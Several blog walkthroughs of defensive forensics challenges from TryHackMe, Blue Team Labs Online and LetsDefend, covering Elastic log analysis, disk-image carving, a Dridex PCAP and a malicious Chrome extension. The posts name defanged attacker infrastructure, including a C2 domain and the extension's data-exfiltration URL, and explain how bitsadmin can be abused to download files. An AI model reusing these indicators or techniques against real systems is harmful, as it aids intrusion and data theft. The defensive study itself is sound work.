Since we have so many log entries, we’ll want to filter this to a manageable level. To do this, let’s check out the source_ip field filter which will help us to determine how many source hosts we have captured in our logs.

On the fly-out menu, we will have some analytics about the top 5 values that appear in the logs. Fortunately for us, there are only two entries.

One IP accounts for 99.6% of the traffic, and the second only accounts for 0.4%.

Before we go too crazy wading through a massive number of records, let’s check the IP address with the fewest number of hits by adding the source IP to the filter. I searched it manually in the query box, but you can also simply hit the + next to the value to add it to the filter.

This IP address only has two logged events which makes it a bit easier for us to analyze. Right away, there are a few suspicious indicators but let’s do some reconnaissance on the destination IP address to see if we can locate any intelligence.

We’ll start with VirusTotal to get an overview and see if there are any hits for malicious activity associated with this IP address:

Interestingly, there are no hits for malware, however the banner shows that there are “10+ detected files communicating with this IP address” — that’s odd, let’s take a closer look at that.

The files communicating with this domain seem to have a high number of hits for malicious activity. This is giving us some confidence that we have found the host IP address of the infected user. But let’s double-check with another service as well, Hybrid Analysis.

Hybrid Analysis also assesses that this IP has been associated with some malicious activity. So, would have enough information to say that we found the correct local IP address for the victim. Let’s enter our answer to check our work.

Question 3: The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?

Now that we know the victim’s local IP address and have an idea of what IP address the infected device was communicating with for command and control (C2), we need to determine what application or service was being used for the connection. Let’s focus on the user_agent field to answer Question 3.

If you aren’t familiar, user-agents are request headers that servers use to identify requesting client details like the operating system, web browser version, or application.

In this log, we have an unusual user_agent that isn’t something typical like a web browser, for example. This indicates that the malware might be living off the land and using a legitimate Microsoft command-line tool.

I don’t want to spoil the fun but if we do a little research about this user agent, we’ll stumble on some helpful information from Microsoft Learn — this particular tool can be leveraged to:

create, download or upload jobs, and to monitor their progress.

In other words, this information confirms that this utility can be used to download files. Let’s submit our findings and move on to the next question.

Question 4: The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?

In Question 2, we found evidence that the victim’s device communicated with a destination IP address that resolves to a web-based file sharing service. According to MITRE ATT&CK (T1102), this site has been used for command and control by some threat actors and malware families.

Let’s confirm that our IP intelligence is correct by looking at the host field.

Since the host matches the intelligence that we found about the IP address, we have our answer.

Question 5: What is the full URL of the C2 to which the infected host is connected?

Okay, to answer Question 5, we have the simple task of combining the host domain from Question 4 with the uri field of the event. This will form the hostname/path combination of the URL that we are looking for to answer this question!

Questions 6 & 7:

A file was accessed on the filesharing site. What is the name of the file accessed?

The file contains a secret code with the format THM{_____}.

All right, we made it to the last two questions! So far, we have determined the IP address, application, domain, and URL that the victim’s infected device accessed. The last step for this challenge is to determine the name and content of the file hosted on this file sharing site.

Unfortunately, the connection_logs index does not seem to contain any of the file data that we are looking for, so we have to pivot. What if we navigate to the URL that we assembled in Question 5 to view the public site directly?

Once there, it looks like our research paid off! We found both the file that was accessed and can view the contents. Let’s submit our answers and wrap up this investigation!

Conclusion:

Hey, nice job with the investigation! We successfully completed the listed objectives and analyzed the HTTP connection log file, found the required evidence, and have an understanding of the payload to complete the ItsyBitsy challenge! It’s time to close the case.

A big thank you to TryHackMe for hosting this awesome challenge! I haven’t had an opportunity to jump into Elastic so this was a fantastic challenge to learn about the tool and get a high-level overview of how it can be leveraged to analyze large data sets and apply that to incident response. While I’m sure this barely scratches the surface of what the tool is capable of, I gained plenty of valuable hands-on experience with Kibana and am looking forward to the next time I’ll get to practice with Elastic!

I hope that you had as much fun as I did and learned something new, too!

Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!

Tools & References:

VirusTotal: https://www.virustotal.com/

Hybrid Analysis: https://www.hybrid-analysis.com/

MITRE ATT&CK — Command and Control: https://attack.mitre.org/tactics/TA0011/

Mozilla Developer (User Agent): https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent

Microsoft bitsadmin: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

MITRE ATT&CK — Web Service: https://attack.mitre.org/techniques/T1102/

Blue Team Labs Online — Employee of the Year Challenge Walkthrough

Sun, 16 Jun 2024 00:00:00 +0000

Blue Team Labs Online — Employee of the Year Challenge Walkthrough

Analyzing a DD disk image with Scalpel and PhotoRec

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough!

Have you ever been curious about recovering deleted data from a disk image file? Well, we’re about to explore data recovery and analysis by tackling the Employee of the Year challenge from Blue Teams Labs Online! This is a capture the flag style challenge that has us defenders investigating a DD disk image, searching for lost files, and recovering flags from inside of the document structures by leveraging Scalpel and PhotoRec.

So, whether you’re here to learn more about DD file analysis, check out some practical use of file carving tools, or are just looking for a reference walkthrough for the Employee of the Year challenge, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3

Challenge Scenario:

John received the ‘Best Employee of the Year’ award for his hard work at FakeCompany Ltd. Unfortunately, today John deleted some important files (typical John!). It’s your job to recover the deleted files and capture all the flags contained within!

Setup the REMnux Analysis Environment & Extract the challenge file:

Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using REMnux for this challenge and walkthrough.

To keep this write-up focused I’m going to skip a step-by-step setup guide of REMnux. Instead, if you want to set up your own REMnux environment please follow the directions provided by REMnux directly. I opted for the virtual appliance method:

Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org

Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!

Question 1: What is the text written on the recovered gif image?

Let’s dive right in and get an overview of the .dd file. This is a raw disk image file and we will be working to recover the data deleted by the user.

To start out, we’re going to use the strings command. At a high-level, this will help us reveal some of the data within the image by printing pieces of data contained (strings) within the image out to the console.

`strings recoverfiles.dd

Output of the strings command on the .dd image file.

Right away we will see some interesting, relevant strings at the very top of the output. For Question 1 we are going to focus on recovering the .gif image, but how do we extract the information from the image?

We’re going to use the data carving tool, Scalpel. According to the REMnux documentation, Scalpel is used to:

Carve contents out of binary files, such as partitions.

So how do we do this? Well, Scalpel uses a targeted approach, so we need to know what type of file that we’re looking for. In this case we know that we need to carve out a GIF file, so we’ll first need to adjust the Scalpel configuration file by uncommenting (removing #) the relevant lines for GIF files in a text editor. For example, I’ll use Nano.

sudo nano /etc/scalpel/scalpel.conf

Now that we have selected the GIF file types, we can run Scalpel against the image file to extract any of the matching file types. I made a folder called Recovered that we will use as an output directory.

Let’s try it out!

scalpel -o Recovered/ recoverfiles.dd

It looks like Scalpel was able to carve out one GIF file, let’s check out Recovered folder and see what it found.

GIF file extracted by Scalpel.

Good job, indeed! Let’s submit the answer and move on to Question 2.

Question 2: Submit Flag1

Since we tested Scalpel for Question 1, why don’t we try a different tool for Question 2?

There is another suggested tool for this challenge, PhotoRec. This is another data recovery tool that we are going to leverage to retrieve files from the disk image. One of the benefits of PhotoRec is that it has many more file types selected by default, so we don’t necessarily need to know what exactly we are looking for. This is going to be critical since the only clue we know to look for is Flag1.

Let’s try PhotoRec out:

sudo photorec recoverfiles.dd

There will be a few screens that will require some input from us, but I just left the default settings.

At the last menu screen, you will need to select an output destination and press C to confirm your choice.

Okay, PhotoRec carved 5 files out of the image. Let’s review them and see what we found:

Contents of the PhotoRec recovery.

Very interesting! The first file we see is the GIF file from Question 1, that would have saved us some time to start with PhotoRec. But more importantly is the .png file — let’s open it up to find Flag1!

Question 3: Submit Flag2

Now that we found the first flag, let’s keep looking at the files that PhotoRec recovered for us.

Contents of the PhotoRec recovery.

We’re going to focus on the .PDF and .MP4 later in the challenge so let’s just focus on the file f0009072.docx.

We don’t have a way of opening the file to view the contents, so we are going to do a little static analysis on the structures of the file itself.

Let’s establish some background theory about the .docx file format first.

According to Microsoft:

The Open XML format (.docx/.xlsx/.pptx) is the default format in all supported versions of Microsoft Office and, unless you have a specific reason to use a different format, it’s the format we recommend using for your Office file

Now the Office Open XML (OOXML) format is essentially structured as a ZIP archive and made up of XML files and other data (files, images, etc.). If we use a tool like oleid we can confirm the container format:

So, all of this to say is that we need to view the content structure of this file to see what streams are available for us to analyze!

If we do some research on this topic, we’ll stumble across a SANS Internet Storm Center diary entry from Didier Stevens whose tool, zipdump.py, we’ll leverage.

Internet Storm Center _Internet Storm Center Diary 2024–06–09, Author: Johannes Ullrich_isc.sans.edu

Let’s follow the concepts of this research and try running zipdump.py on the .docx file we retrieved:

sudo zipdump.py f0009072.docx

After running zipdump.py, we can view the streams within the .docx file, let’s focus on index number 5, word/document.xml, that contains the content of the document itself.

Putting all of this together, we’re going to use zipdump.py to dump the stream of word/document.xml for us to examine using the below syntax to select Index 5.

sudo zipdump.py -s 5 -d f0009072.docx

Okay, it’s not pretty when displayed in the console but we are seeing the structure of the document content! Outside of all the formatting, notice the string highlighted in the image above? This looks like a Base64-encoded string, doesn’t it?

We’re almost there! Let’s test out the theory and try to decode this string in CyberChef. For this challenge, I will use the version built-in to REMnux, but you can use the online version, too.

We can apply the From Base64 operation to the recipe and input the string we found in the .docx file:

And there we go — we found the 2nd flag!

Question 4: Submit Flag3

For Question 4_,_ let’s turn our attention to the PDF file since we saw it had some text in the preview icon that might give us a clue.

Well, not much to go on here, so let’s see if there is anything to discover in the structure of the PDF. We will use another tool by Didier Stevens, pdf-parser.py, to parse the PDF file for the data objects that make up the document rather than what we saw rendered.

PDF Tools _Here is a set of free YouTube videos showing how to use my tools: Malicious PDF Analysis Workshop. pdf-parser.py This…_blog.didierstevens.com

So, let’s say we wanted to search for a flag, we can (and will) parse the document and search for a string within the objects. For this challenge, let’s just use grep to clean-up the output and simply look for “flag.”

pdf-parser.py f0009040.pdf | grep -i “flag”

Awesome, we got it! But something looks a little off, doesn’t it? We need to decode this to get a fully readable flag, so let’s jump back into CyberChef again.

It looks like the flag has some URL/Percent encoding which is used to ensure valid characters for transmission over the internet. In CyberChef let’s add the URL Decode operation to the recipe and see if we can grab the flag…

Question 5: What is the filesystem of the provided disk image?

This is a tricky question to tackle. If we do some research on Google, we’ll find that there is no shortage of suggested methods to locate this information including: blkid, fsck, df, etc.

Unfortunately, none of these commands can help determine the answer to Question 5.

We could continue doing some further Google searching, but let’s try to leverage generative AI. I’m going to check with Microsoft Copilot for any methods I might have missed.

According to Copilot, there is a method I hadn’t found yet in my earlier research:

To identify the file system type, use cfdisk:

sudo cfdisk your_file.dd

Let’s be diligent and validate that the information is correct by verifying the provided source link. How to open .DD file to analyze it? — Ask Ubuntu

After a quick overview from the forum link, the information looks accurate! Let’s try it…

Awesome! By following this method, we were able to find an additional method that helped us locate the answer to Question 5!

Question 6: What is the original filename of the recovered mp4 file?

Okay, last question! Let’s focus on the final file that PhotoRec recovered back in Question 2, the MP4 file.

Remember, that this isn’t the original name but the recovered name after the data carving. We can actually watch the video to find that the content is referencing SBTCertifications — this name rings a bell…

Remember back in Question 1 that we ran the strings command on the .dd file and we saw some interesting file names?

Let’s try looking at the entire recovery image with strings again. We already know there is a ton of output, so let’s just grep for mp4 this time.

strings recoverfiles.dd | grep -i “mp4”

And there we go! We found the final flag! Let’s wrap up this investigation.

Conclusion:

Hey, nice job with the investigation! We successfully analyzed the DD file, located the flags, and recovered John’s files to complete the Employee of the Year challenge! Now that we successfully helped John to recover his data and retain his “Employee of the Year” status, let’s close this case.

A big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to learn about file carving and add some new tools to my tool kit. I also appreciated the depth of this challenge. We not only had to learn how to find and recover the files, but we also had to deep-dive into OOXML and PDF files to locate the flags. Overall, I gained some valuable experience about analyzing DD disk images and data recovery. I hope that you had as much fun as I did and learned something new, too!

Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!

Tools & References:

REMnux: https://docs.remnux.org/

Scalpel: https://github.com/sleuthkit/scalpel

Photorec: https://www.cgsecurity.org/wiki/PhotoRec

Microsoft File Formats: https://support.microsoft.com/en-us/office/learn-about-file-formats-56dc3b55-7681-402e-a727-c59fa0884b30#:~:text=docx%20file%20is%20an%20Open%20XML%20formatted%20Microsoft%20Word%20document.

Wikipedia Office Open XML: https://en.wikipedia.org/wiki/Office_Open_XML

OLEID: https://github.com/decalage2/oletools/wiki/oleid

Zipdump.py: https://blog.didierstevens.com/2020/07/27/update-zipdump-py-version-0-0-20/

SANS XML Document: https://isc.sans.edu/diary/An+XMLObfuscated+Office+Document+CVE202140444/27860

CyberChef: https://gchq.github.io/CyberChef/

PDF Parser: https://blog.didierstevens.com/programs/pdf-tools/

URL Percent Encoding: https://www.w3schools.com/tags/ref_urlencode.ASP

Microsoft Copilot: https://copilot.microsoft.com/

Ask Ubuntu: https://askubuntu.com/questions/1279716/how-to-open-dd-file-to-analyze-it

Blue Team Labs Online — Network Analysis - Malware Compromise Challenge Walkthrough

Sun, 09 Jun 2024 00:00:00 +0000

Blue Team Labs Online — Network Analysis — Malware Compromise Challenge Walkthrough

Analyzing PCAP files with Wireshark and NetworkMiner

Image Credit: https://blueteamlabs.online/

Introduction:

Welcome to my weekly walkthrough! Have you ever been curious about analyzing a network packet capture (PCAP) file to investigate malicious traffic from a malware infected computer?

Well, we’re about to explore some PCAP analysis by tackling the Network Analysis — Malware Compromise challenge from Blue Teams Labs Online! This is an incident response challenge that has us defenders investigating a PCAP file taken from an endpoint infected with the Dridex malware_._

To tackle this investigation, we’re going to leverage Wireshark and NetworkMiner for the analysis. So, whether you’re here to learn more about PCAP analysis, see some practical use of these tools, or are just looking for a reference walkthrough for the Network Analysis — Malware Compromise, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://blueteamlabs.online/home/challenge/network-analysis-malware-compromise-e882f32908

Challenge Scenario:

A SOC Analyst at Umbrella Corporation is going through SIEM alerts and sees the alert for connections to a known malicious domain. The traffic is coming from Sara’s computer, an Accountant who receives a large volume of emails from customers daily. Looking at the email gateway logs for Sara’s mailbox there is nothing immediately suspicious, with emails coming from customers. Sara is contacted via her phone and she states a customer sent her an invoice that had a document with a macro, she opened the email and the program crashed. The SOC Team retrieved a PCAP for further analysis.

Warning about working with malicious files & Dridex background:

Safety first — It’s always important when working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range) to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. Even for educational purposes, we are working with potentially malicious files, after all.

Now, let’s also set the stage with some background information on the Dridex malware from Malpedia to enrich the scenario:

Dridex as “an evasive, information-stealing malware variant; its goal is to acquire as many credentials as possible and return them via an encrypted tunnel to a Command-and-Control (C&C) server. These C&C servers are numerous and scattered all over the Internet, if the malware cannot reach one server it will try another…” According to MalwareBytes, “Dridex uses an older tactic of infection by attaching a Word document that utilizes macros to install malware…”

That isn’t good! Now that we have some context on the malware and our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get to work!

Question 1: What’s the private IP of the infected host?

To start this off, let’s open up Wireshark and load the challenge PCAP file — We’re going to focus on the first packet (№. 1) in the list. Check out the source IP (10.11.27.101) performing a DNS query to the DNS server (10.11.27.1) for the domain klychenogg[.]com.

We can’t be sure yet this is the infected host we are looking for until we look at the TCP three-way handshake where the source IP (10.11.27.101) connects to 95[.]181[.]198[.]231 (which resolves to klychenogg[.]com).

After the host establishes a connection with the server, we observe a strange file in the HTTP GET request (packet #6.) Let’s jump over and search for this domain on VirusTotal:

Okay! So, we’ve got some hits on this domain which gives us some additional context and confidence that this host is communicating with a malicious domain. It is likely that this is the infected source IP that we are searching for to answer Question 1.

But let’s look at this with another view in Wireshark to double-check what the traffic utilization of this IP address is overall. To do this, we can utilize the Statistics > Endpoints view in Wireshark.

Here we will see all the endpoints from this packet capture. Looking at the suspected host IP, we can confirm that it has the lion’s share of traffic compared to the other hosts. Let’s submit the answer and check our work.

Question 2: What’s the malware binary that the macro document is trying to retrieve?

We may have already stumbled across the answer during our analysis of Question 1. But let’s go ahead and follow the TCP stream starting with the SYN packet of the three-way handshake (packet #3.)

To do this, click the row of the packet, right click it, and select Follow > TCP Stream.

Now, in the TCP Stream view and we see that the victim host requested the file “spet10.spr” from this server.

According to the United States Cybersecurity & Infrastructure Security Agency (CISA,) this technique is consistent with the Dridex malware:

Many of the files, rather than containing the actual malware, contain hidden or obfuscated macros. Upon activation, the macros reach to a command and control server, FTP server, or cloud storage site to download the actual Dridex malware.

Question 3: From what domain HTTP requests with GET /images/ are coming from?

For Question 3 let’s try something a little different; instead of just using one utility, why don’t we add another one to the toolkit to compare the differences?

Wireshark
NetworkMiner

We’ll start with Wireshark. Let’s do a simple string search with the “find packet” function. We can access this function through Edit > Find Packet OR by pressing the magnifying glass above the display filter field. Then, we can search for the “/images” to locate the requests that contain this string.

We’ll see that the first hit lists the request URI with the domain we are looking for down in the packet details pane.

The second option is to leverage the tool, NetworkMiner. NetworkMiner is another powerful network forensic tool that can extract artifacts from PCAP files and display them in an easy-to-understand format with robust sorting and filtering capabilities.

Let’s search NetworkMiner for the same information that we found earlier with Wireshark. To do this, open NetworkMiner, load the PCAP file, and then press Parameters. In the Filter keyword box, input “/images.”

Now that we have filtered our results, we can see three entries from our search. If we focus on the Destination host tab, we will see the request domain. While finding the same information with both tools, it’s still useful to understand the different capabilities between the two applications and how they present the data.

Question 4: The SOC Team found Dridex, a follow-up malware from Ursnif infection, to be the culprit. The customer who sent her the macro file is compromised. What’s the full URL ending in .rar where Ursnif retrieves the follow-up malware from?

For Question 4, we’ll again use both Wireshark and NetworkMiner to hunt for the second stage RAR file in the PCAP.

In Wireshark, we’ll do another simple string search like we did in Question 3 but this time we will search for “.rar”

Take a look at the Full request URI in the packet details pane. This is the URL that we are looking for!

From the NetworkMiner perspective, click on the Files tab then, in the Filter keyword box, input “.rar” — Now check the Details tab, we will see the same URI that we found with Wireshark!

Question 5: What is the Dridex post-infection traffic IP addresses beginning with 185.? (4 points)

Okay, last question! We know that the Dridex malware on the victim’s machine is communicating with a command-and-control IP address beginning with 185. We just need to find the full IP.

We’ll start by filtering for destination IP addresses to locate the valid indicator of compromise (IOC). We did this earlier in Question 1 but let’s open Wireshark and use the Statistics > Endpoints view again. This will help us locate two IP addresses beginning with 185.

Let’s see if we can get any more information about these IP addresses with NetworkMiner. In NetworkMiner, we just need to visit the Hosts tab. This will list all the hosts within the PCAP file just like the Endpoints view in Wireshark but with the added benefit of some extra information in one tab.

Unfortunately, while we get some additional information, it isn’t enough to determine which of the two 185 IP addresses is the command-and-control traffic the challenge wants us to find from our tools alone.

Let’s pivot and try to enrich our data by using a straightforward process of elimination by checking VirusTotal for any intelligence about each of the IP addresses…

Hey, we found something! While this isn’t a definitive test, the 2nd IP address has a few hits on VirusTotal for malicious activity. For the purposes of this challenge, this will be enough information. Let’s check that we have found the right IP Address!

Conclusion:

Excellent job with the investigation! We successfully analyzed the PCAP file given to us by the SOC team to complete the Network Analysis — Malware Compromise challenge! Now that we understand the scope of the incident, let’s wrap this up.

A big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to practice PCAP analysis, sharpen my skills with Wireshark, and test out the capabilities of NetworkMiner. I always find it valuable to get the hands-on practice with these tools to keep my skills sharp for the next time I’ll need to use these tools in the real world.

Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!

Until next week — stay curious!

Tools & References:

Wireshark: https://www.wireshark.org/

Network Miner: https://www.netresec.com/?page=NetworkMiner

Wireshark Wiki (TCP 3-Way Handshake): https://wiki.wireshark.org/TCP_3_way_handshaking/

Malpedia (Dridex): https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex

CISA Dridex Malware: https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a

VirusTotal: https://www.virustotal.com/

LetsDefend — Chrome Extension Challenge Walkthrough

Sun, 02 Jun 2024 00:00:00 +0000

LetsDefend — Chrome Extension Challenge Walkthrough

Investigating a Malicious Chrome Extension with DB Browser for SQLite

Image Credit: https://app.letsdefend.io/challenge/malicious-chrome-extension

Introduction:

Welcome to my weekly walkthrough!

Have you ever wondered how a malicious Google Chrome extension could be abused, creating a privacy risk for a user? Well we’re about to investigate exactly how this can happen by working through the Malicious Chrome Extension challenge over on LetsDefend!

This is an incident response challenge which has us defenders investigating a Windows image to determine how the victim’s data was exposed. We’ll need to review artifacts on the system like the Google Chrome cache to determine what happened. Sounds like another fun investigation to me!

So, whether you’re here to learn more about Chrome cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Malicious Chrome Extension, you’ve stumbled on the right blog.

Put on your detective hat and let’s have some fun with forensics! Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/malicious-chrome-extension

Challenge Scenario:

The victim found out their private info was out there for everyone to see, and things got worse — the bad guys got into their money stuff, social media, and personal emails. We got an image of his machine so you can tell us what happened.

Question 1: What is the ID of the malicious extension?

Let’s start out by getting familiar with our analysis environment and looking in our Tools folder. We’ll find that there is only one tool: DB Browser for SQLite.

Since we are looking for a malicious extension, we’re going to leverage DB Browser to analyze the victim’s local web browser cache and focus on Google Chrome. If you aren’t aware, Chrome stores some website and browsing data in a cache folder on the local device it’s installed on.

I’ll point to an excellent cheat sheet from Foxtron Forensics about the locations and data that are located within the Chrome cache:

Google Chrome History Location | Chrome History Viewer _Chrome history is mainly stored within SQLite databases located in the Chrome profile folder. Browser History Examiner…_www.foxtonforensics.com

With that background, let’s open DB Browser. We’ll want to select Open Database and navigate to the victim’s Google Chrome Cache folder within the challenge file.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data

Once we navigate to the above file path, we need to select " # "

All Files" to see the contents of the folder.

We’ll start with the History database which, according to the Foxtron Forensics article contains:

Website Visits

Chrome Website Visits are stored in the €˜History’ SQLite database, within the €˜visits’ table. Associated URL information is stored within the €˜urls’ table.

Now, if we browse through the URLS table, we will find references to several extensions from the Chrome Web Store.

Most of these extensions appear to be simple utilities, but the two extensions referencing Netflix stick out to me, so let’s focus on the Netflix Party app and the Teleparty Premium extensions.

Let’s do some Google research and see if we can find any information about the possibility of malicious activity from these extensions, shall we? It doesn’t take long to stumble upon the following article from Popular Science about malicious, fake Netflix extensions with a link to the original research by McAfee.

Very interesting! According to the McAfee blog, one of the malicious extension’s ID is:

Image Source: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

I think we found a match on the victim’s device!

Question 2: What is the name of the malicious extension?

This one is a bit trickier to find. Remember in Question 1 that we saw the Chrome Web Store name, Netflix Party, in the History database and in the McAfee research? This isn’t the name of the extension that we are looking for in Question 2, though.

So, let’s navigate to the extension’s local directory and see what else we can find.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/manifest.json

Inside of the extension directory, go ahead and open the manifest.json file in any plain text editor.

But what is the manifest file, anyway? According to Google:

Every extension must have a _manifest.json_ file in its root directory that lists important information about the structure and behavior of that extension. This page explains the structure of extension manifests and the features they can include.

Unfortunately, the name in the manifest.json is also not what we are looking for this time. Hmmm, let’s think creatively and see what else we have available.

There is also a _locales folder in the extension’s directory with an " # “en"directory for English.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/_locales/en/messages.json

We’ll get some background on what the messages.json is from Google first:

Each internationalized extension has at least one file named messages.json that provides locale-specific strings.

In other words, this file is used for translation and localization for different languages including locale-specific strings. Maybe there is a helpful string here for us? Let’s open up the messages.json.

Third time’s the charm! Let’s input extension name (extName) message from this file and see if we found the correct answer…

Question 3: How many people were affected by this extension?

Okay, let’s refer to the McAfee article that we used for Question 1. Fortunately, for us the research has the number of affected users listed in the table.

Image Credit: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

Question 4: What is the attacker’s domain name?

Now that we have reviewed the manifest and messages, let’s see what else is available in the malicious extension’s directory. We can see some JavaScript files, let’s have a look at some of these and try to understand what they are doing and see if we can locate the attacker’s domain.

Based on the McAfee research we have some idea of where to look. The blog states:

The manifest.json sets the background page as bg.html. This HTML file loads b0.js and this is responsible for sending the URL being visited and injecting code into the eCommerce sites.

B0.js

The b0.js script contains many functions. This blog will focus on the functions which are responsible for sending the visited URLs to the server and processing the response.

Let’s turn our attention to b0.js and look more closely for ourselves.

/root/Desktop/ChallengeFile/Extension/Users/Administrator/AppData/Local/Google/Chrome/User Data/Default/Extensions/mmnbenehknklpbendgmgngeaignppnbe/3.0.0_0/b0.js

Since we are looking for a domain name, we’ll try something simple and just use the find function to search for https:// to see if we can find it that way…

Okay, we’ve found something — a variable, e, defined as: hxxps://a1l4m[.]000webhostapp[.]com (defanged for safety, of course!)

This variable is consistent with the details in the McAfee article. While our victim’s version of the extension has a different URL than the McAfee sample, it is located in the same function within the extension. Good find!

Question 5: What is the full URL the attacker uses to exfiltrate the data?

Now that we found the e variable with the domain name value, let’s see if we can find the full URL. The McAfee blog mentions that a victim’s data is exfiltrated with an HTTP POST method to the domain so let’s search b0.js for POST this time:

Right above the POST value, we can see that the URL that data is sent to is the e variable we found in Question 4 _+ " # “_/chrome/TrackingData"Putting this all together, we get:

hxxps://a1l4m[.]000webhostapp[.]com/chrome/TrackingData

Question 6: What is the function name responsible for getting the victim’s location?

To locate the location function, we’ll take the path of least resistance and search for “location"within the code. The first thing we’ll find is the get_location function which can be used to access Geolocation data.

Question 7: What is the variable name that is responsible for storing the zip code of the victim?

Okay we made it to the last question! Just as we did in the previous question, let’s do a simple search within the code; this time we will look for " # “zip.”

We found some evidence of the variable in the code — that’s a great start but let’s refer to the McAfee write-up one more time:

The country, city, and zip are gathered using ip-api.com.

Now that we have validated the JavaScript code on our victim’s machine and confirmed it with the McAfee research, let’s submit the answer and wrap up this investigation!

Conclusion:

Nice job! We successfully navigated the Malicious Chrome Extension by analyzing the victim’s Chrome cache.

We learned through our research that this malicious extension sends the victim’s browsing data to an external, attacker controlled domain — this creates a huge privacy risk! Having identified the source of the attack, it’s time to bring this investigation to a close.

Thank you to LetsDefend for the opportunity to practice our Chrome cache analysis skills! This challenge was a fantastic opportunity to see a practical example of how a malicious extension can compromise a user’s data and privacy. We also got valuable exposure to some tools like DB Browser to strengthen our knowledge of the Google Chrome local cache!

Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!

Until next week — stay curious!

Tools & References:

SQLite Browser: https://sqlitebrowser.org/

Foxtron Forensics Google Chrome History Location: https://www.foxtonforensics.com/browser-history-examiner/chrome-history-location

Popular Science — These 5 popular Chrome extensions are compromising your computer: https://www.popsci.com/technology/chrome-extension-installation-malware-netflix-party/

McAfee — Malicious Cookie Stuffing Chrome Extensions with 1.4 Million Users: https://www.mcafee.com/blogs/other-blogs/mcafee-labs/malicious-cookie-stuffing-chrome-extensions-with-1-4-million-users/

Chrome Developers Manifest File Format: https://developer.chrome.com/docs/extensions/reference/manifest

Chrome Developers Messages.Json: https://developer.chrome.com/docs/extensions/how-to/ui/localization-message-formats

LetsDefend — Discord Forensics Challenge Walkthrough

Thu, 30 May 2024 00:00:00 +0000

LetsDefend — Discord Forensics Challenge Walkthrough

Endpoint DFIR Investigation using ChromeCacheView

Image Credit: https://app.letsdefend.io/challenge/discord-forensics

Introduction:

Welcome to my weekly walkthrough! Have you ever wondered how an adversary could use social engineering to lure a victim to Discord and then compromise them with malware?

We’re about to investigate how this can happen by working through the Discord Forensics Challenge over on LetsDefend! This is an incident response challenge that has us defenders investigating an infected Windows endpoint. To understand how the attack unfolded, we’ll need to review artifacts on the system like the Discord cache and determine how the malware was delivered.

So, whether you’re here to learn more about Discord cache analysis, check out some new tools, or are just looking for a reference walkthrough for the LetsDefend Discord Forensics Challenge, you’ve stumbled on the right blog.

Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!

Challenge Link: https://app.letsdefend.io/challenge/discord-forensics

Challenge Scenario:

Our SIEM alerted that AV blocked malware from running on an employee’s machine. For further investigation, the incident response team quickly acquired an image of that machine. To find out how this malware got on the machine, their task is to find the entry point of the attack and trace the attacker.

Questions 1, 2, & 3:

1. What is the name of the attacker?

2. What application is used for messaging?

3. What is the attacker’s username on the application?

Let’s get comfortable with our virtual analysis environment and extract the challenge file from the Challenge folder.

While the archive is extracting, let’s also check out our Tools folder which will help us get an idea of what utilities we have at our disposal to solve this challenge.

Behold — our toolkit!

We’ve got a couple of interesting utilities but the two mail clients seem out of place. Maybe Email is a good place to start the investigation? We will see if we can discover any email files that we can check through to understand if there was any phishing involved for initial access.

Let’s check the standard Outlook and Thunderbird data file locations to see if any locally saved items are available:

Outlook: C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Outlook

Thunderbird: C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Roaming\Thunderbird\Profiles

Unfortunately, there is nothing in either directory. But hope is not lost — what about the built-in Windows Mail client? Maybe the victim was using that application? Let’s check!

C:\Users\LetsDefend\Desktop\ChallengeFile\Discord\Administrator\AppData\Local\Microsoft\Windows Live Mail

The Victim’s Windows Live Mail AppData Folder

There we go! We have several emails to read through. Let’s launch Thunderbird and open the 3 " # "

Job Offer" messages.

The sender’s FROM field name is abdlhameed. We’ll use this information to answer Question 1.

Once we get to the last email in the thread, Job Offer3.eml, we’ll find a couple of new pieces of information in the body of the email that we can use to answer Questions 2 & 3.

From the thread, we can see that the attacker is attempting to move the conversation from email to Discord. If you aren’t familiar, Discord is:

An instant messaging and VoIP social platform which allows communication through voice calls, video calls, text messaging, and media and files.

